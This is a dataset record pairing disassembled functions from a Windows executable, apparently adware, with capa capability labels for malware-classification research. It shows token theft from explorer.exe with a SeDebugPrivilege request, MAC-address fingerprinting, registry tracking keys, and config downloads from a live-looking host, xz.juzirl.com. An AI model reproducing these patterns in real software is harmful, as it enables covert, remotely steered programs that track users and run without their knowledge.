joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401dd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437aa8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x401f62
cmp byte [ebx + 0x49], 0
je 0x401f62
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x401f56
lea esi, [ebp - 0x2c]
call fcn.00401c40
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x401e43
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x401e7b
dec eax
je 0x401e7f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x401f5d
call fcn.00401b90
xor al, al
jmp 0x401f64
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x401e8f
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x401ebd
cmp edi, 0x10
jae 0x401e9e
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x401f4e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x401f5a
test esi, esi
jne 0x401e37
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x401f7f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x401f7f
cmp edi, esi
jae 0x401f37
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00401f90
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x401e37
mov ecx, eax
cmp edi, 0x10
jae 0x401f13
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x401f2e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x401e31
test esi, esi
jne 0x401f09
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x401f46
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x401e31
lea esi, [ebp - 0x2c]
call fcn.00401b90
xor al, al
jmp 0x401f64
lea esi, [ebp - 0x2c]
call fcn.00401b90
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
push 0x43ff98
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x402340
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x140c
call fcn.004378b0
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor esi, esi
push 0xffc
lea eax, [ebp - 0x1400]
push esi
push eax
mov dword [ebp - 0x1404], esi
call sub.MSVCR100.dll_memset
push 0x3ff
lea ecx, [ebp - 0x403]
push esi
push ecx
mov dword [ebp - 0x1408], esi
mov byte [ebp - 0x404], 0
call sub.MSVCR100.dll_memset
add esp, 0x18
jmp 0x4023a0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x1408]
push edx
push 0x1000
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
je 0x4023a0
mov eax, dword [ebp - 0x1408]
shr eax, 2
xor ebx, ebx
mov dword [ebp - 0x140c], eax
test eax, eax
je 0x4023a0
lea ecx, [ecx]
push 0x400
lea ecx, [ebp - 0x404]
push 0
push ecx
call sub.MSVCR100.dll_memset
mov eax, dword [ebp + ebx*4 - 0x1404]
add esp, 0xc
push eax
xor edi, edi
push edi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40246a
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameA]
test eax, eax
je 0x40242e
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40246a
lea eax, [ebp - 0x404]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402442
sub eax, edx
cmp eax, 0x15
jl 0x40246a
lea eax, [ebp + eax - 0x419]
push str.Windowsexplorer.exe
push eax
call dword [sym.imp.MSVCR100.dll__stricmp]
add esp, 8
test eax, eax
je 0x40247c
inc ebx
cmp ebx, dword [ebp - 0x140c]
jb 0x4023e0
jmp 0x4023a0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + ebx*4 - 0x1404]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x4024a0
Capabilities:
Acquire debug privileges
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x1c], edi
call fcn.00402340
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], edi
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0xc]
push ecx
push edx
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
test eax, eax
jne 0x402511
push esi
push edi
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, edi
je 0x402511
lea eax, [ebp - 0xc]
push eax
push 0xf00ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x402517
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
cmp eax, edi
je 0x402612
lea ecx, [ebp - 0x1c]
push ecx
push 4
lea edx, [ebp - 0x20]
push edx
push 0x13
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x402563
lea eax, [ebp - 0x28]
push eax
push str.SeDebugPrivilege
push edi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push ecx
push 1
push 1
push edi
push 0x2000000
push edx
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
jmp 0x402569
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
push 1
push ecx
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x402582
mov ebx, 0x400
push 0x44
lea eax, [ebp - 0x84]
push edi
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
lea edx, [ebp - 0x38]
push edx
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x84]
push eax
mov eax, dword [ebp - 8]
push edi
mov ecx, 5
mov word [ebp - 0x54], cx
mov ecx, dword [ebp - 0x14]
push ecx
push ebx
push edi
push edi
push edi
push edx
push edi
push eax
mov dword [ebp - 0x84], 0x44
mov dword [ebp - 0x58], 1
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
mov ebx, 1
test eax, eax
jne 0x4025ea
mov ebx, edi
mov eax, dword [ebp - 0x38]
cmp eax, edi
je 0x4025f4
push eax
call esi
mov eax, dword [ebp - 0x34]
cmp eax, edi
je 0x4025fe
push eax
call esi
mov eax, dword [ebp - 8]
cmp eax, edi
je 0x402608
push eax
call esi
mov eax, dword [ebp - 0xc]
cmp eax, edi
je 0x402612
push eax
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4029a0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x437a79
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebx + 0x14], 0xf
mov dword [ebx + 0x10], eax
mov dword [ebp - 0x28], ebx
mov byte [ebx], al
mov dword [ebp - 4], eax
push 0x288
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], 0x288
mov dword [ebp - 0x20], eax
call fcn.0040662a
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1c]
push eax
push edi
call esi
cmp eax, 0x6f
jne 0x402a2b
push edi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0040662a
mov edi, eax
add esp, 8
mov dword [ebp - 0x20], edi
lea edx, [ebp - 0x1c]
push edx
push edi
call esi
test eax, eax
jne 0x402a9b
mov eax, dword [edi + 0x190]
xor esi, esi
test eax, eax
je 0x402a8f
movzx edx, byte [edi + esi + 0x194]
dec eax
mov ecx, esi
sub ecx, eax
neg ecx
sbb ecx, ecx
and ecx, 0x2d
push ecx
push edx
lea eax, [ebp - 0x18]
push str._02X_c
push eax
call dword [sym.imp.MSVCR100.dll_sprintf]
lea eax, [ebp - 0x18]
add esp, 0x10
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402a70
sub eax, ecx
push eax
lea eax, [ebp - 0x18]
mov ecx, ebx
call fcn.004054c0
mov eax, dword [edi + 0x190]
inc esi
cmp esi, eax
jb 0x402a42
cmp dword [ebx + 0x10], 0
jne 0x402a9b
mov edi, dword [edi]
test edi, edi
jne 0x402a36
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x402aac
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret

Function at 0x402c10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov byte [ebp - 7], al
lea eax, [ebp - 0x14]
push eax
push 0x20019
push 0
push str.Softwarexxrl
push reloc.WS2_32.dll_bind
mov byte [ebp - 0x10], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402ca6
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0
push str.channel
push ecx
mov dword [ebp - 0x18], 0xa
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402c9c
lea eax, [ebp - 0x10]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402c80
push esi
sub eax, edx
push edi
mov edi, eax
lea eax, [ebp - 0x10]
mov esi, 0x4431f4
call fcn.004063d0
pop edi
pop esi
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x402cc0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402d3f
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0x14]
push eax
push 0
push str.bind_count
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
mov eax, dword [ebp - 4]
push 4
jne 0x402d1a
inc dword [ebp - 8]
lea edx, [ebp - 8]
jmp 0x402d24
mov dword [ebp - 0x10], 1
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push str.bind_count
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x402d50
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402daa
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
push 0
push str.bind_count
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402daa
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x402db0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x38]
push eax
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402dfb
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x38]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x402dea
mov ecx, dword [ebp - 0x38]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push 4
push 0
push str.cznv
push ecx
call esi
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x2e]
movzx ecx, word [ebp - 0x32]
movzx edx, word [ebp - 0x34]
push eax
push ecx
push edx
lea eax, [ebp - 0x24]
push 0x4400f4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
add eax, eax
push eax
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x24]
push edx
push 1
push 0
push str.record
push eax
call esi
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.00406648
mov esp, ebp
pop ebp
ret

Function at 0x402ea0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall3C391AEB_1C44_48E2_9895_C609C893E1FA
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x118], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402f60
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 0
push str.DisplayIcon
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.HotMiniTips.exe
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x110]
push edx
call fcn.004024a0
mov eax, dword [ebp - 0x114]
add esp, 4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x402f80
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x10c]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall3C391AEB_1C44_48E2_9895_C609C893E1FA
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403051
lea edx, [ebp - 0x110]
push edx
mov edx, dword [ebp - 0x10c]
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
push str.DisplayIcon
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.HotMiniNews.exe
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
setne al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
call fcn.00406648
mov esp, ebp
pop ebp
ret

Function at 0x403070
Capabilities:
Check if file exists
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall3C391AEB_1C44_48E2_9895_C609C893E1FA
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x118], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403186
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 0
push str.DisplayIcon
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.HotMiniNews.exe
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403179
lea eax, [ebp - 0x110]
push eax
call fcn.004024a0
add esp, 4
cmp esi, 1
jne 0x403140
push esi
jmp 0x403171
push 0
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 0x258
idiv ecx
imul edx, edx, 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.00403db0
add esp, 4
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x4031a0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x103
lea eax, [ebp - 0x12f]
push 0
push eax
mov byte [ebp - 0x130], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
push 0x2001f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionczhandle
push reloc.WS2_32.dll_bind
mov dword [ebp - 0x148], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403286
lea edx, [ebp - 0x148]
push edx
mov edx, dword [ebp - 0x144]
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x14c]
push ecx
push 0
push str.mini_data
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
lea eax, [ebp - 0x140]
push eax
jne 0x403296
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x4400f4
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4032c6
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00406648
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x13a]
movzx edx, word [ebp - 0x13e]
movzx eax, word [ebp - 0x140]
push ecx
push edx
push eax
lea ecx, [ebp - 0x24]
push 0x4400f4
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x144]
add eax, eax
add eax, eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push str.mini_data
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x403420
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.rlsvcfg.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.http:__xz.juzirl.com_rlsvcfg.ini
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea edx, [ebp - 0x108]
push edx
push 3
push str.counts
push str.bind
call esi
mov dword [0x443700], eax
lea eax, [ebp - 0x108]
push eax
push 2
push str.counts
push str.TotalBind
call esi
lea ecx, [ebp - 0x108]
push ecx
push 0
push str.index
push str.Switch1
mov dword [0x4436dc], eax
call esi
test eax, eax
lea eax, [ebp - 0x108]
push eax
push 0
push str.index
setne dl
push str.Switch2
mov byte [0x4435d7], dl
call esi
lea edx, [ebp - 0x108]
push edx
push 0x3c
test eax, eax
push str.counts
setne cl
push str.interval
mov byte [0x4435d6], cl
call esi
mov dword [0x4431f0], eax
lea eax, [ebp - 0x108]
push eax
push 0
push str.index
push str.page
call esi
lea edx, [ebp - 0x108]
push edx
push 3
test eax, eax
push str.counts
setne cl
push str.page_interval
mov byte [0x4435d5], cl
call esi
mov dword [0x4436fc], eax
lea eax, [ebp - 0x108]
push eax
push 0x104
push 0x4435d8
push 0x43ffcc
push str.value
push 0x44023c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406648
mov esp, ebp
pop ebp
ret
Function at 0x4035e0
Capabilities:
Delete file
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x443018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x103
lea eax, [ebp - 0x107]
push 0
push eax
mov byte [ebp - 0x108], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str.rlminicfg.ini
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x103
lea eax, [ebp - 0x20b]
push 0
push eax
mov byte [ebp - 0x20c], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push str.http:__xz.juzirl.com_minicfg_rlminicfg.ini
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
lea edx, [ebp - 0x108]
push edx
push 0
push 0x44027c
push str.config
call esi
lea ecx, [ebp - 0x108]
push ecx
push 0x11
test eax, eax
push str.hour
setne al
push str.config
mov byte [0x443704], al
call esi
lea edx, [ebp - 0x108]
push edx
push 0x1e
push str.minute
push str.config
mov dword [0x4431e8], eax
call esi
mov dword [0x4431ec], eax
lea eax, [ebp - 0x108]
push eax
push 0
push 0x440298
push str.config
call esi
test eax, eax
lea edx, [ebp - 0x108]
setne cl
push edx
mov byte [0x4435d4], cl
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406648
mov esp, ebp
pop ebp
ret